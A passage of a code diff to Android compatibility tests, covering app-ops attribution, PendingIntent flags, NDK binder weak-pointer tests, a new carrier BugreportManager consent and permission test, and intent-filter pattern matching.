RemoteAction reference = new RemoteAction(icon, title, description, action);
reference.setEnabled(false);
reference.setShouldShowIcon(false);
diff --git a/tests/tests/appop/AppToBlame1/AndroidManifest.xml b/tests/tests/appop/AppToBlame1/AndroidManifest.xml
index a8d3638..900c95b 100644
--- a/tests/tests/appop/AppToBlame1/AndroidManifest.xml
+++ b/tests/tests/appop/AppToBlame1/AndroidManifest.xml
@@ -19,12 +19,13 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.app.appops.cts.apptoblame"
android:version="1">
+ <uses-sdk android:targetSdkVersion="28" />
<attribution android:tag="attribution1" android:label="@string/dummyLabel" />
<attribution android:tag="attribution2" android:label="@string/dummyLabel" />
<attribution android:tag="attribution3" android:label="@string/dummyLabel" />
<attribution android:tag="attribution4" android:label="@string/dummyLabel" />
<attribution android:tag="attribution5" android:label="@string/dummyLabel" />
- <application />
+ <application android:debuggable="true"/>
</manifest>
diff --git a/tests/tests/appop/AppToBlame2/AndroidManifest.xml b/tests/tests/appop/AppToBlame2/AndroidManifest.xml
index ba13fd6a..af58d8d 100644
--- a/tests/tests/appop/AppToBlame2/AndroidManifest.xml
+++ b/tests/tests/appop/AppToBlame2/AndroidManifest.xml
@@ -19,6 +19,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.app.appops.cts.apptoblame"
android:version="2">
+ <uses-sdk android:targetSdkVersion="29"/>
<attribution android:tag="attribution1" android:label="@string/dummyLabel" />
<attribution android:tag="attribution6" android:label="@string/dummyLabel">
<inherit-from android:tag="attribution2" />
diff --git a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
index 44e4c05..2a77470 100644
--- a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
+++ b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
@@ -178,13 +178,15 @@
}
/**
- * Run a block with a compat change disabled
+ * Run a block with a compat change enabled
*/
-fun withDisabledCompatChange(changeId: Long, packageName: String, wrapped: () -> Unit) {
- runCommand("am compat disable $changeId $packageName")
+fun withEnabledCompatChange(changeId: Long, packageName: String, wrapped: () -> Unit) {
+ runCommand("settings put global force_non_debuggable_final_build_for_compat 1")
+ runCommand("am compat enable $changeId $packageName")
try {
wrapped()
} finally {
runCommand("am compat reset $changeId $packageName")
+ runCommand("settings put global force_non_debuggable_final_build_for_compat 0")
}
}
\ No newline at end of file
diff --git a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
index 33ccf9a..8aba608b 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
@@ -108,14 +108,14 @@
@Test(expected = SecurityException::class)
fun cannotUseUndeclaredAttributionTag() {
- noteForAttribution("invalid attribution tag")
+ withEnabledCompatChange(SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE, APP_PKG) {
+ noteForAttribution("invalid attribution tag")
+ }
}
@Test
fun canUseUndeclaredAttributionTagIfChangeForBlameeIsDisabled() {
- withDisabledCompatChange(SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE, APP_PKG) {
- noteForAttribution("invalid attribution tag")
- }
+ noteForAttribution("invalid attribution tag")
}
@Test(expected = AssertionError::class)
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
index f255454..97df491 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
@@ -70,7 +70,7 @@
extras.putString("dummy", launcherPkg + "-dummy");
PendingIntent pinResult = PendingIntent.getBroadcast(context, 0,
- new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT);
+ new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
AppWidgetManager.getInstance(context).requestPinAppWidget(
getFirstWidgetComponent(), extras, pinResult);
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java b/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
index a01241f..4cf3f8f 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
@@ -143,7 +143,7 @@
// Push update
RemoteViews views = getViewsForResponse(RemoteViews.RemoteResponse.fromPendingIntent(
PendingIntent.getBroadcast(mActivity, 0,
- new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT)));
+ new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED)));
getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
// Await until update
@@ -165,7 +165,7 @@
RemoteViews views = getViewsForResponse(RemoteViews.RemoteResponse.fromPendingIntent(
PendingIntent.getActivity(mActivity, 0,
new Intent(mActivity, TransitionActivity.class),
- PendingIntent.FLAG_UPDATE_CURRENT)));
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED)));
getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
// Await until update
@@ -229,7 +229,7 @@
views.setViewVisibility(R.id.remoteViews_stack, View.GONE);
views.setViewVisibility(R.id.remoteViews_list, View.VISIBLE);
PendingIntent pendingIntent = PendingIntent.getBroadcast(mActivity, 0,
- new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT);
+ new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
views.setPendingIntentTemplate(R.id.remoteViews_list, pendingIntent);
// Await until update
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
index b1b21b7..f0c6e5a 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
@@ -107,7 +107,7 @@
// to create unique before on an item to item basis.
Intent viewIntent = new Intent(BROADCAST_ACTION);
PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, viewIntent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
widgetAdapterView.setPendingIntentTemplate(R.id.remoteViews_stack, pendingIntent);
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
index eab84ad..d5c2ff9 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
+++ b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
@@ -98,7 +98,7 @@
final boolean allowWhileIdle = req.getAllowWhileIdle();
final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1,
- new Intent(req.getIntentAction()), 0);
+ new Intent(req.getIntentAction()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
+ ", interval=" + interval + ", allowWhileIdle=" + allowWhileIdle);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
index fab478e..65862b1 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
@@ -139,6 +139,92 @@
AIBinder* promoted = AIBinder_Weak_promote(weak);
EXPECT_EQ(nullptr, promoted);
+
+ AIBinder_Weak_delete(weak);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerClonePromotes) {
+ AIBinder* binder = SampleData::newBinder();
+ AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+ AIBinder_Weak* copy = AIBinder_Weak_clone(weak);
+ AIBinder_Weak_delete(weak);
+
+ AIBinder* promoted = AIBinder_Weak_promote(copy);
+ EXPECT_EQ(binder, promoted);
+
+ AIBinder_Weak_delete(copy);
+ AIBinder_decStrong(promoted);
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCloneNoPromote) {
+ AIBinder* binder = SampleData::newBinder();
+ AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+ AIBinder_Weak* copy = AIBinder_Weak_clone(weak);
+ AIBinder_Weak_delete(weak);
+
+ AIBinder_decStrong(binder);
+
+ AIBinder* promoted = AIBinder_Weak_promote(weak);
+ EXPECT_EQ(nullptr, promoted);
+
+ AIBinder_Weak_delete(copy);
+}
+
+TEST_F(NdkBinderTest_AIBinder, BinderEqual) {
+ AIBinder* binder = SampleData::newBinder();
+
+ EXPECT_FALSE(AIBinder_lt(binder, binder));
+
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, BinderNotEqual) {
+ AIBinder* b1 = SampleData::newBinder();
+ AIBinder* b2 = SampleData::newBinder();
+
+ EXPECT_NE(AIBinder_lt(b1, b2), AIBinder_lt(b2, b1));
+
+ AIBinder_decStrong(b2);
+ AIBinder_decStrong(b1);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerEqual) {
+ AIBinder* binder = SampleData::newBinder();
+ AIBinder_Weak* weak1 = AIBinder_Weak_new(binder);
+ AIBinder_Weak* weak2 = AIBinder_Weak_new(binder);
+
+ // doesn't need to be promotable to remember ordering
+ AIBinder_decStrong(binder);
+
+ // they are different objects
+ EXPECT_NE(weak1, weak2);
+
+ // they point to the same binder
+ EXPECT_FALSE(AIBinder_Weak_lt(weak1, weak2));
+ EXPECT_FALSE(AIBinder_Weak_lt(weak2, weak1));
+
+ AIBinder_Weak_delete(weak1);
+ AIBinder_Weak_delete(weak2);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerNotEqual) {
+ AIBinder* b1 = SampleData::newBinder();
+ AIBinder_Weak* w1 = AIBinder_Weak_new(b1);
+ AIBinder* b2 = SampleData::newBinder();
+ AIBinder_Weak* w2 = AIBinder_Weak_new(b2);
+
+ bool b1ltb2 = AIBinder_lt(b1, b2);
+
+ // doesn't need to be promotable to remember ordering
+ AIBinder_decStrong(b2);
+ AIBinder_decStrong(b1);
+
+ EXPECT_EQ(b1ltb2, AIBinder_Weak_lt(w1, w2));
+ EXPECT_EQ(!b1ltb2, AIBinder_Weak_lt(w2, w1));
+
+ AIBinder_Weak_delete(w1);
+ AIBinder_Weak_delete(w2);
}
TEST_F(NdkBinderTest_AIBinder, LocalIsLocal) {
@@ -368,6 +454,13 @@
EXPECT_EQ(nullptr, AIBinder_DeathRecipient_new(nullptr));
+ EXPECT_EQ(nullptr, AIBinder_Weak_clone(nullptr));
+
+ AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+ EXPECT_TRUE(AIBinder_Weak_lt(nullptr, weak));
+ EXPECT_FALSE(AIBinder_Weak_lt(weak, nullptr));
+ AIBinder_Weak_delete(weak);
+
// Does not crash
AIBinder_DeathRecipient_delete(nullptr);
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
index 0eac60e..6a191eae 100644
--- a/tests/tests/carrierapi/Android.bp
+++ b/tests/tests/carrierapi/Android.bp
@@ -16,9 +16,11 @@
name: "CtsCarrierApiTestCases",
defaults: ["cts_defaults"],
static_libs: [
+ "androidx.test.uiautomator_uiautomator",
"ctstestrunner-axt",
"compatibility-device-util-axt",
"junit",
+ "truth-prebuilt",
],
srcs: ["src/**/*.java"],
sdk_version: "test_current",
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
new file mode 100644
index 0000000..f1a5267
--- /dev/null
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
@@ -0,0 +1,463 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.carrierapi.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.BugreportManager;
+import android.os.BugreportManager.BugreportCallback;
+import android.os.BugreportParams;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Unit tests for {@link BugreportManager}'s carrier functionality, specifically "connectivity"
+ * bugreports.
+ *
+ * <p>Structure is largely adapted from
+ * frameworks/base/core/tests/bugreports/.../BugreportManagerTest.java.
+ *
+ * <p>Test using `atest CtsCarrierApiTestCases:BugreportManagerTest` or `make cts -j64 &&
+ * cts-tradefed run cts -m CtsCarrierApiTestCases --test
+ * android.carrierapi.cts.BugreportManagerTest`
+ */
+@RunWith(AndroidJUnit4.class)
+public class BugreportManagerTest {
+ private static final String TAG = "BugreportManagerTest";
+
+ private static final long BUGREPORT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(10);
+ private static final long UIAUTOMATOR_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
+ // This value is defined in dumpstate.cpp:TELEPHONY_REPORT_USER_CONSENT_TIMEOUT_MS. Because the
+ // consent dialog is so large and important, the user *must* be given at least 2 minutes to read
+ // it before it times out.
+ private static final long MINIMUM_CONSENT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(2);
+
+ private static final BySelector CONSENT_DIALOG_TITLE_SELECTOR = By.res("android", "alertTitle");
+
+ @Rule public TestName name = new TestName();
+
+ private TelephonyManager mTelephonyManager;
+ private BugreportManager mBugreportManager;
+ private File mBugreportFile;
+ private ParcelFileDescriptor mBugreportFd;
+ private File mScreenshotFile;
+ private ParcelFileDescriptor mScreenshotFd;
+
+ @Before
+ public void setUp() throws Exception {
+ Context context = InstrumentationRegistry.getContext();
+ // Bail out if no cellular support.
+ assumeTrue(
+ "No cellular support, CarrierAPI.BugreportManagerTest cases will be skipped",
+ context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+ // Fail the test if we don't have carrier privileges.
+ mTelephonyManager = context.getSystemService(TelephonyManager.class);
+ assertWithMessage(
+ "This test requires a SIM card with carrier privilege rules on it.\n"
+ + "Visit https://source.android.com/devices/tech/config/uicc.html")
+ .that(mTelephonyManager.hasCarrierPrivileges())
+ .isTrue();
+ mBugreportManager = context.getSystemService(BugreportManager.class);
+
+ mBugreportFile = createTempFile("bugreport_" + name.getMethodName(), ".zip");
+ mBugreportFd = parcelFd(mBugreportFile);
+ // Should never be written for anything a carrier app can trigger; several tests assert that
+ // this file has no content.
+ mScreenshotFile = createTempFile("screenshot_" + name.getMethodName(), ".png");
+ mScreenshotFd = parcelFd(mScreenshotFile);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ FileUtils.closeQuietly(mBugreportFd);
+ FileUtils.closeQuietly(mScreenshotFd);
+ }
+
+ @Test
+ public void startConnectivityBugreport() throws Exception {
+ BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+ mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+ setConsentDialogReply(ConsentReply.ALLOW);
+ waitUntilDoneOrTimeout(callback);
+
+ assertThat(callback.isSuccess()).isTrue();
+ assertThat(callback.hasReceivedProgress()).isTrue();
+ assertThat(mBugreportFile.length()).isGreaterThan(0L);
+ assertFdIsClosed(mBugreportFd);
+ }
+
+ @Test
+ public void startConnectivityBugreport_consentDenied() throws Exception {
+ BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+ mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+ setConsentDialogReply(ConsentReply.DENY);
+ waitUntilDoneOrTimeout(callback);
+
+ assertThat(callback.getErrorCode())
+ .isEqualTo(BugreportCallback.BUGREPORT_ERROR_USER_DENIED_CONSENT);
+ assertThat(callback.hasReceivedProgress()).isTrue();
+ assertThat(mBugreportFile.length()).isEqualTo(0L);
+ assertFdIsClosed(mBugreportFd);
+ }
+
+ @Test
+ public void startConnectivityBugreport_consentTimeout() throws Exception {
+ BugreportCallbackImpl callback = new BugreportCallbackImpl();
+ long startTimeMillis = System.currentTimeMillis();
+
+ mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+ setConsentDialogReply(ConsentReply.NONE_TIMEOUT);
+ waitUntilDoneOrTimeout(callback);
+
+ assertThat(callback.getErrorCode())
+ .isEqualTo(BugreportCallback.BUGREPORT_ERROR_USER_CONSENT_TIMED_OUT);
+ assertThat(callback.hasReceivedProgress()).isTrue();
+ assertThat(mBugreportFile.length()).isEqualTo(0L);
+ assertFdIsClosed(mBugreportFd);
+ // Ensure the dialog was displaying long enough.
+ assertThat(System.currentTimeMillis() - startTimeMillis)
+ .isAtLeast(MINIMUM_CONSENT_TIMEOUT_MILLIS);
+ // The dialog may still be displaying, dismiss it if so.
+ dismissConsentDialogIfPresent();
+ }
+
+ @Test
+ public void simultaneousBugreportsNotAllowed() throws Exception {
+ BugreportCallbackImpl callback1 = new BugreportCallbackImpl();
+ BugreportCallbackImpl callback2 = new BugreportCallbackImpl();
+ File bugreportFile2 = createTempFile("bugreport_2_" + name.getMethodName(), ".zip");
+ ParcelFileDescriptor bugreportFd2 = parcelFd(bugreportFile2);
+
+ // Start the first report, but don't accept the consent dialog or wait for the callback to
+ // complete yet.
+ mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback1);
+
+ // Attempting to start a second report immediately gets us a concurrency error.
+ mBugreportManager.startConnectivityBugreport(bugreportFd2, Runnable::run, callback2);
+ assertThat(callback2.getErrorCode())
+ .isEqualTo(BugreportCallback.BUGREPORT_ERROR_ANOTHER_REPORT_IN_PROGRESS);
+
+ // Now wait for the first report to complete normally.
+ setConsentDialogReply(ConsentReply.ALLOW);
+ waitUntilDoneOrTimeout(callback1);
+
+ assertThat(callback1.isSuccess()).isTrue();
+ assertThat(callback1.hasReceivedProgress()).isTrue();
+ assertThat(mBugreportFile.length()).isGreaterThan(0L);
+ assertFdIsClosed(mBugreportFd);
+ // The second report never got any details filled in.
+ assertThat(callback2.hasReceivedProgress()).isFalse();
+ assertThat(bugreportFile2.length()).isEqualTo(0L);
+ assertFdIsClosed(bugreportFd2);
+ }
+
+ @Test
+ public void cancelBugreport() throws Exception {
+ BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+ // Start the report, but don't accept the consent dialog or wait for the callback to
+ // complete yet.
+ mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+
+ assertThat(callback.isDone()).isFalse();
+
+ // Cancel and wait for the final result.
+ mBugreportManager.cancelBugreport();
+ waitUntilDoneOrTimeout(callback);
+
+ assertThat(callback.getErrorCode()).isEqualTo(BugreportCallback.BUGREPORT_ERROR_RUNTIME);
+ assertThat(mBugreportFile.length()).isEqualTo(0L);
+ assertFdIsClosed(mBugreportFd);
+ }
+
+ @Test
+ public void startBugreport_connectivityBugreport() throws Exception {
+ BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+ // Carrier apps that compile with the system SDK have visibility to use this API, so we need
+ // to enforce that the additional parameters can't be abused to e.g. surreptitiously capture
+ // screenshots.
+ mBugreportManager.startBugreport(
+ mBugreportFd,
+ mScreenshotFd,
+ new BugreportParams(BugreportParams.BUGREPORT_MODE_TELEPHONY),
+ Runnable::run,
+ callback);
+ setConsentDialogReply(ConsentReply.ALLOW);
+ waitUntilDoneOrTimeout(callback);
+
+ assertThat(callback.isSuccess()).isTrue();
+ assertThat(callback.hasReceivedProgress()).isTrue();
+ assertThat(mBugreportFile.length()).isGreaterThan(0L);
+ assertFdIsClosed(mBugreportFd);
+ // Screenshots are never captured for connectivity bugreports, even if an FD is passed in.
+ assertThat(mScreenshotFile.length()).isEqualTo(0L);
+ assertFdIsClosed(mScreenshotFd);
+ }
+
+ @Test
+ public void startBugreport_fullBugreport() throws Exception {
+ assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_FULL);
+ }
+
+ @Test
+ public void startBugreport_interactiveBugreport() throws Exception {
+ assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_INTERACTIVE);
+ }
+
+ @Test
+ public void startBugreport_remoteBugreport() throws Exception {
+ assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_REMOTE);
+ }
+
+ @Test
+ public void startBugreport_wearBugreport() throws Exception {
+ assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_WEAR);
+ }
+
+ @Test
+ public void startBugreport_wifiBugreport() throws Exception {
+ assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_WIFI);
+ }
+
+ @Test
+ public void startBugreport_defaultBugreport() throws Exception {
+ // BUGREPORT_MODE_DEFAULT (6) is defined by the AIDL, but isn't accepted by
+ // BugreportManagerServiceImpl or exposed in BugreportParams.
+ assertExceptionThrownForMode(6, IllegalArgumentException.class);
+ }
+
+ @Test
+ public void startBugreport_negativeMode() throws Exception {
+ assertExceptionThrownForMode(-1, IllegalArgumentException.class);
+ }
+
+ @Test
+ public void startBugreport_invalidMode() throws Exception {
+ // Current max is BUGREPORT_MODE_DEFAULT (6) as defined by the AIDL.
+ assertExceptionThrownForMode(7, IllegalArgumentException.class);
+ }
+
+ /* Implementatiion of {@link BugreportCallback} that offers wrappers around execution result */
+ private static final class BugreportCallbackImpl extends BugreportCallback {
+ private int mErrorCode = -1;
+ private boolean mSuccess = false;
+ private boolean mReceivedProgress = false;
+ private boolean mEarlyReportFinished = false;
+ private final Object mLock = new Object();
+
+ @Override
+ public synchronized void onProgress(float progress) {
+ mReceivedProgress = true;
+ }
+
+ @Override
+ public synchronized void onError(int errorCode) {
+ Log.d(TAG, "Bugreport errored");
+ mErrorCode = errorCode;
+ }
+
+ @Override
+ public synchronized void onFinished() {
+ Log.d(TAG, "Bugreport finished");
+ mSuccess = true;
+ }
+
+ @Override
+ public synchronized void onEarlyReportFinished() {
+ mEarlyReportFinished = true;
+ }
+
+ /* Indicates completion; and ended up with a success or error. */
+ public synchronized boolean isDone() {
+ return (mErrorCode != -1) || mSuccess;
+ }
+
+ public synchronized int getErrorCode() {
+ return mErrorCode;
+ }
+
+ public synchronized boolean isSuccess() {
+ return mSuccess;
+ }
+
+ public synchronized boolean hasReceivedProgress() {
+ return mReceivedProgress;
+ }
+
+ public synchronized boolean hasEarlyReportFinished() {
+ return mEarlyReportFinished;
+ }
+ }
+
+ /** Allow/deny the consent dialog to sharing bugreport data, or just check existence. */
+ private enum ConsentReply {
+ // Touch the positive button.
+ ALLOW,
+ // Touch the negative button.
+ DENY,
+ // Just verify that the dialog has appeared, but make no touches.
+ NONE_TIMEOUT,
+ }
+
+ private void setConsentDialogReply(ConsentReply consentReply) throws Exception {
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+ // No need to wake + dismiss keyguard here; CTS respects our DISABLE_KEYGUARD permission.
+ if (!device.wait(
+ Until.hasObject(CONSENT_DIALOG_TITLE_SELECTOR), UIAUTOMATOR_TIMEOUT_MILLIS)) {
+ fail("The consent dialog can't be found");
+ }
+
+ final BySelector replySelector;
+ switch (consentReply) {
+ case ALLOW:
+ Log.d(TAG, "Allow the consent dialog");
+ replySelector = By.res("android", "button1");
+ break;
+ case DENY:
+ Log.d(TAG, "Deny the consent dialog");
+ replySelector = By.res("android", "button2");
+ break;
+ case NONE_TIMEOUT:
+ default:
+ // Not making a choice, just leave the dialog up now that we know it exists. It will
+ // eventually time out, but we don't wait for that here.
+ return;
+ }
+ UiObject2 replyButton = device.findObject(replySelector);
+ assertWithMessage("The button of consent dialog is not found")
+ .that(replyButton)
+ .isNotNull();
+ replyButton.click();
+
+ assertThat(
+ device.wait(
+ Until.gone(CONSENT_DIALOG_TITLE_SELECTOR),
+ UIAUTOMATOR_TIMEOUT_MILLIS))
+ .isTrue();
+ }
+
+ private void dismissConsentDialogIfPresent() throws Exception {
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+ if (!device.hasObject(CONSENT_DIALOG_TITLE_SELECTOR)) {
+ return;
+ }
+
+ Log.d(
+ TAG,
+ "Consent dialog still present on the screen even though report finished,"
+ + " dismissing it");
+ device.pressBack();
+ assertThat(
+ device.wait(
+ Until.gone(CONSENT_DIALOG_TITLE_SELECTOR),
+ UIAUTOMATOR_TIMEOUT_MILLIS))
+ .isTrue();
+ }
+
+ private static void waitUntilDoneOrTimeout(BugreportCallbackImpl callback) throws Exception {
+ long startTimeMillis = System.currentTimeMillis();
+ while (!callback.isDone()) {
+ Thread.sleep(1000);
+ if (System.currentTimeMillis() - startTimeMillis >= BUGREPORT_TIMEOUT_MILLIS) {
+ Log.w(TAG, "Timed out waiting for bugreport completion");
+ break;
+ }
+ Log.d(TAG, "Waited " + (System.currentTimeMillis() - startTimeMillis + "ms"));
+ }
+ }
+
+ private void assertSecurityExceptionThrownForMode(int mode) {
+ assertExceptionThrownForMode(mode, SecurityException.class);
+ }
+
+ private <T extends Throwable> void assertExceptionThrownForMode(
+ int mode, Class<T> exceptionType) {
+ BugreportCallbackImpl callback = new BugreportCallbackImpl();
+ try {
+ mBugreportManager.startBugreport(
+ mBugreportFd,
+ mScreenshotFd,
+ new BugreportParams(mode),
+ Runnable::run,
+ callback);
+ fail("BugreportMode " + mode + " should cause " + exceptionType.getSimpleName());
+ } catch (Throwable thrown) {
+ if (!exceptionType.isInstance(thrown)) {
+ throw thrown;
+ }
+ }
+
+ assertThat(callback.isDone()).isFalse();
+ assertThat(callback.hasReceivedProgress()).isFalse();
+ assertThat(mBugreportFile.length()).isEqualTo(0L);
+ assertFdIsClosed(mBugreportFd);
+ assertThat(mScreenshotFile.length()).isEqualTo(0L);
+ assertFdIsClosed(mScreenshotFd);
+ }
+
+ private static File createTempFile(String prefix, String extension) throws Exception {
+ File f = File.createTempFile(prefix, extension);
+ f.setReadable(true, true);
+ f.setWritable(true, true);
+ f.deleteOnExit();
+ return f;
+ }
+
+ private static ParcelFileDescriptor parcelFd(File file) throws Exception {
+ return ParcelFileDescriptor.open(
+ file, ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_APPEND);
+ }
+
+ private static void assertFdIsClosed(ParcelFileDescriptor pfd) {
+ try {
+ int fd = pfd.getFd();
+ fail("Expected ParcelFileDescriptor argument to be closed, but got: " + fd);
+ } catch (IllegalStateException expected) {
+ }
+ }
+}
diff --git a/tests/tests/content/src/android/content/cts/IntentFilterTest.java b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
index 9888891..663cbfa 100644
--- a/tests/tests/content/src/android/content/cts/IntentFilterTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
@@ -21,9 +21,11 @@
import static android.content.IntentFilter.MATCH_CATEGORY_SCHEME_SPECIFIC_PART;
import static android.content.IntentFilter.MATCH_CATEGORY_TYPE;
import static android.content.IntentFilter.NO_MATCH_DATA;
+import static android.os.PatternMatcher.PATTERN_ADVANCED_GLOB;
import static android.os.PatternMatcher.PATTERN_LITERAL;
import static android.os.PatternMatcher.PATTERN_PREFIX;
import static android.os.PatternMatcher.PATTERN_SIMPLE_GLOB;
+import static android.os.PatternMatcher.PATTERN_SUFFIX;
import android.content.ComponentName;
import android.content.ContentResolver;
@@ -397,25 +399,38 @@
MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ssp"),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp12"));
filter = new Match(null, null, null, new String[]{"scheme"},
- null, null, null, null, new String[]{"ssp.*"},
- new int[]{PATTERN_SIMPLE_GLOB});
+ null, null, null, null, new String[]{"p1", "sp", ".file"},
+ new int[]{PATTERN_SUFFIX, PATTERN_SUFFIX, PATTERN_SUFFIX});
checkMatches(filter,
MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
